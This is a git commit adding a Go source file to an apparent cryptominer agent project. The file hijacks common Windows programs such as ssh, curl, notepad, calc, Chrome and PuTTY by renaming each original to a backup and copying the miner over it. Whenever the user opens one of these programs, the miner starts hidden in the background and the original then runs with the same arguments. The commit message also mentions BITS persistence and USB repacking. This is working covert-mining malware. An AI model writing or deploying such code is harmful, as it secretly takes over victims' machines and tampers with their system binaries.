feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
291
agent/deploy/host_binary_windows.go
Normal file
291
agent/deploy/host_binary_windows.go
Normal file
@@ -0,0 +1,291 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
hostBinaryProxySuffix = ".aetherforge.proxy"
|
||||
hostBinaryBackupSuffix = ".aetherforge.bak"
|
||||
hostBinaryManifest = "host-binary-hijacks.json"
|
||||
)
|
||||
|
||||
type hostBinaryRecord struct {
|
||||
Target string `json:"target"`
|
||||
Backup string `json:"backup"`
|
||||
Preset string `json:"preset"`
|
||||
}
|
||||
|
||||
// HostBinaryPresets lists forge/remote preset IDs for common client binaries.
|
||||
var HostBinaryPresets = []string{
|
||||
"ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc",
|
||||
"chrome", "edge", "firefox", "putty", "winscp",
|
||||
}
|
||||
|
||||
// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk.
|
||||
func HostBinaryCandidates(preset string) []string {
|
||||
preset = strings.TrimSpace(strings.ToLower(preset))
|
||||
if strings.HasPrefix(preset, "custom:") {
|
||||
p := strings.TrimSpace(preset[7:])
|
||||
if p != "" {
|
||||
return []string{filepath.Clean(p)}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
pf := os.Getenv("ProgramFiles")
|
||||
pfx86 := os.Getenv("ProgramFiles(x86)")
|
||||
switch preset {
|
||||
case "ssh":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\OpenSSH\ssh.exe`,
|
||||
filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"),
|
||||
)
|
||||
case "ftp":
|
||||
return existingPaths(`C:\Windows\System32\ftp.exe`)
|
||||
case "telnet":
|
||||
return existingPaths(`C:\Windows\System32\telnet.exe`)
|
||||
case "mstsc":
|
||||
return existingPaths(`C:\Windows\System32\mstsc.exe`)
|
||||
case "curl":
|
||||
return existingPaths(`C:\Windows\System32\curl.exe`)
|
||||
case "notepad":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\notepad.exe`,
|
||||
`C:\Windows\Notepad\notepad.exe`,
|
||||
)
|
||||
case "calc":
|
||||
return existingPaths(
|
||||
`C:\Windows\System32\calc.exe`,
|
||||
`C:\Windows\System32\win32calc.exe`,
|
||||
)
|
||||
case "chrome":
|
||||
return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe"))
|
||||
case "edge":
|
||||
return existingPaths(
|
||||
filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
)
|
||||
case "firefox":
|
||||
return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe"))
|
||||
case "putty":
|
||||
return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe"))
|
||||
case "winscp":
|
||||
return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe"))
|
||||
default:
|
||||
if preset != "" && strings.Contains(preset, `\`) {
|
||||
return existingPaths(preset)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func existingPaths(paths ...string) []string {
|
||||
var out []string
|
||||
for _, p := range paths {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
||||
out = append(out, filepath.Clean(p))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func hostBinaryMarkerPath(targetExe string) string {
|
||||
return targetExe + hostBinaryProxySuffix
|
||||
}
|
||||
|
||||
func hostBinaryBackupPath(targetExe string) string {
|
||||
return targetExe + hostBinaryBackupSuffix
|
||||
}
|
||||
|
||||
func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) {
|
||||
data, err := os.ReadFile(markerPath)
|
||||
if err != nil {
|
||||
return "", "", false
|
||||
}
|
||||
lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n")
|
||||
if len(lines) < 2 {
|
||||
return "", "", false
|
||||
}
|
||||
backup = strings.TrimSpace(lines[0])
|
||||
miner = strings.TrimSpace(lines[1])
|
||||
if backup == "" || miner == "" {
|
||||
return "", "", false
|
||||
}
|
||||
return backup, miner, true
|
||||
}
|
||||
|
||||
// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path.
|
||||
func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", "", false
|
||||
}
|
||||
exe, _ = filepath.Abs(exe)
|
||||
marker := hostBinaryMarkerPath(exe)
|
||||
if b, m, found := readHostBinaryMarker(marker); found {
|
||||
return b, m, true
|
||||
}
|
||||
_ = args
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args.
|
||||
func RunHostBinaryProxy(backup, miner string, args []string) {
|
||||
if miner != "" {
|
||||
_ = HiddenStart(miner, runFlag)
|
||||
}
|
||||
if backup == "" {
|
||||
os.Exit(1)
|
||||
}
|
||||
cmd := exec.Command(backup, args...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
os.Exit(exitErr.ExitCode())
|
||||
}
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func hijackManifestPath(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, hostBinaryManifest), nil
|
||||
}
|
||||
|
||||
func loadHostBinaryManifest(path string) []hostBinaryRecord {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var recs []hostBinaryRecord
|
||||
_ = json.Unmarshal(data, &recs)
|
||||
return recs
|
||||
}
|
||||
|
||||
func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error {
|
||||
data, err := json.MarshalIndent(recs, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, data, 0644)
|
||||
}
|
||||
|
||||
func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error {
|
||||
path, err := hijackManifestPath(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
recs := loadHostBinaryManifest(path)
|
||||
for _, r := range recs {
|
||||
if strings.EqualFold(r.Target, rec.Target) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
recs = append(recs, rec)
|
||||
return saveHostBinaryManifest(path, recs)
|
||||
}
|
||||
|
||||
func hijackSingleHostBinary(target, minerPath, preset string) error {
|
||||
target = filepath.Clean(target)
|
||||
if _, err := os.Stat(target); err != nil {
|
||||
return fmt.Errorf("target not found: %s", target)
|
||||
}
|
||||
marker := hostBinaryMarkerPath(target)
|
||||
if _, err := os.Stat(marker); err == nil {
|
||||
return nil
|
||||
}
|
||||
backup := hostBinaryBackupPath(target)
|
||||
if _, err := os.Stat(backup); err != nil {
|
||||
if err := os.Rename(target, backup); err != nil {
|
||||
if err := copyFile(target, backup); err != nil {
|
||||
return fmt.Errorf("backup %s: %w", target, err)
|
||||
}
|
||||
_ = os.Remove(target)
|
||||
}
|
||||
}
|
||||
if err := copyFile(minerPath, target); err != nil {
|
||||
return fmt.Errorf("replace %s: %w (admin may be required)", target, err)
|
||||
}
|
||||
body := backup + "\n" + minerPath + "\n"
|
||||
if err := os.WriteFile(marker, []byte(body), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode).
|
||||
func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) {
|
||||
candidates := HostBinaryCandidates(preset)
|
||||
if len(candidates) == 0 {
|
||||
return "", fmt.Errorf("no host binary found for preset %q", preset)
|
||||
}
|
||||
var lastErr error
|
||||
for _, target := range candidates {
|
||||
if err := hijackSingleHostBinary(target, minerPath, preset); err != nil {
|
||||
lastErr = err
|
||||
continue
|
||||
}
|
||||
_ = appendHostBinaryManifest(cfg, hostBinaryRecord{
|
||||
Target: target,
|
||||
Backup: hostBinaryBackupPath(target),
|
||||
Preset: preset,
|
||||
})
|
||||
return target, nil
|
||||
}
|
||||
if lastErr != nil {
|
||||
return "", lastErr
|
||||
}
|
||||
return "", fmt.Errorf("hijack failed for %q", preset)
|
||||
}
|
||||
|
||||
// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset.
|
||||
func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error {
|
||||
if strings.TrimSpace(preset) == "" {
|
||||
return fmt.Errorf("host_binary_target is required")
|
||||
}
|
||||
_, err := HijackHostBinary(cfg, minerPath, preset)
|
||||
return err
|
||||
}
|
||||
|
||||
// RemoveHostBinaryPersistence restores originals and clears markers/manifest.
|
||||
func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) {
|
||||
path, err := hijackManifestPath(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
recs := loadHostBinaryManifest(path)
|
||||
for _, rec := range recs {
|
||||
restoreHostBinaryTarget(rec.Target, rec.Backup)
|
||||
}
|
||||
_ = os.Remove(path)
|
||||
}
|
||||
|
||||
func restoreHostBinaryTarget(target, backup string) {
|
||||
marker := hostBinaryMarkerPath(target)
|
||||
if backup == "" {
|
||||
backup = hostBinaryBackupPath(target)
|
||||
}
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
_ = os.Remove(target)
|
||||
_ = copyFile(backup, target)
|
||||
_ = os.Remove(backup)
|
||||
}
|
||||
_ = os.Remove(marker)
|
||||
}
|
||||
Reference in New Issue
Block a user